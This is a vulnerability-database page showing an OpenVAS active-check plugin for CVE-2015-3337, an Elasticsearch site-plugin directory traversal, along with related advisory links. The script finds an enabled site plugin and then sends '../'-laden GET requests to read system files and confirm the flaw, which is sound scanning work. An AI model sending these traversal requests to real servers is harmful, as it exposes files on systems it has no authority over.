Elastic Elasticsearch < 1.4.5, 1.5.x < 1.5.2 Directory Traversal Vulnerability - Active Check
🗓️ 05 May 2015 00:00:00Reported by Copyright (C) 2015 Greenbone AGType
openvas🔗 plugins.openvas.org👁 36 Views
| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
| ElasticSearch 1.4.5 / 1.5.2 - Path Transversal Vulnerability | 21 May 201500:00 | – | zdt | |
| elasticsearch -- directory traversal attack with site plugins | 27 Apr 201500:00 | – | freebsd | |
| CVE-2015-3337 | 6 Dec 202313:16 | – | circl | |
| Elasticsearch Arbitrary File Disclosure Vulnerability | 30 Apr 201500:00 | – | cnvd | |
| CVE-2015-3337 | 1 May 201515:00 | – | cve | |
| CVE-2015-3337 | 1 May 201515:00 | – | cvelist | |
| [SECURITY] [DSA 3241-1] elasticsearch security update | 29 Apr 201520:32 | – | debian | |
| Debian DSA-3241-1 : elasticsearch - security update | 30 Apr 201500:00 | – | nessus | |
| FreeBSD : elasticsearch -- directory traversal attack with site plugins (a71e7440-1ba3-11e5-b43d-002590263bf5) | 26 Jun 201500:00 | – | nessus | |
| ElasticSearch < 1.4.5 / < 1.5.2 - Directory Traversal | 18 May 201500:00 | – | exploitdb |
10
| Source | Link |
|---|---|
| exploit-db | www.exploit-db.com/exploits/37054 |
| elastic | www.elastic.co/blog/elasticsearch-1-5-2-and-1-4-5-released |
# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:elastic:elasticsearch";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.105265");
script_version("2025-09-03T08:26:15+0000");
script_tag(name:"last_modification", value:"2025-09-03 08:26:15 +0000 (Wed, 03 Sep 2025)");
script_tag(name:"creation_date", value:"2015-05-05 15:11:20 +0200 (Tue, 05 May 2015)");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:N/A:N");
script_cve_id("CVE-2015-3337");
script_name("Elastic Elasticsearch < 1.4.5, 1.5.x < 1.5.2 Directory Traversal Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2015 Greenbone AG");
script_dependencies("gb_elastic_elasticsearch_consolidation.nasl", "os_detection.nasl");
script_require_ports("Services/www", 9200);
script_mandatory_keys("elastic/elasticsearch/http/detected");
script_xref(name:"URL", value:"https://www.elastic.co/blog/elasticsearch-1-5-2-and-1-4-5-released");
script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/37054");
script_tag(name:"summary", value:"Elastic Elasticsearch is prone to a directory traversal
vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"impact", value:"The flaw allows remote attackers to read arbitrary files.");
script_tag(name:"affected", value:"Elastic Elasticsearch versions prior to 1.4.5 and 1.5.x prior
to 1.5.2 when a site plugin is enabled.");
script_tag(name:"solution", value:"Update to version 1.4.5, 1.5.2 or later.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"exploit");
exit(0);
}
include("traversal_func.inc");
include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_keepalive.inc");
if( isnull( port = get_app_port( cpe:CPE, service:"www" ) ) )
exit( 0 );
if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
exit( 0 );
files = traversal_files();
plugins = make_list( "test", "kopf", "HQ", "marvel", "bigdesk", "head", "paramedic", "elasticsearch", "git", "jboss", "log", "tomcat", "wiki" );
foreach plugin( plugins ) {
url = "/_plugin/" + plugin + "/";
req = http_get( item:url, port:port );
buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
if( buf =~ "^HTTP/1\.[01] 200" ) {
check_plugin = plugin;
break;
}
}
if( check_plugin ) {
foreach file( keys( files ) ) {
url = "/_plugin/" + check_plugin + "/../../../../../../" + files[file];
if( http_vuln_check( port:port, url:url, pattern:file ) ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
}
exit( 99 );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Sep 2025 00:00Current
9High risk
Vulners AI Score9
CVSS 24.3
EPSS0.32927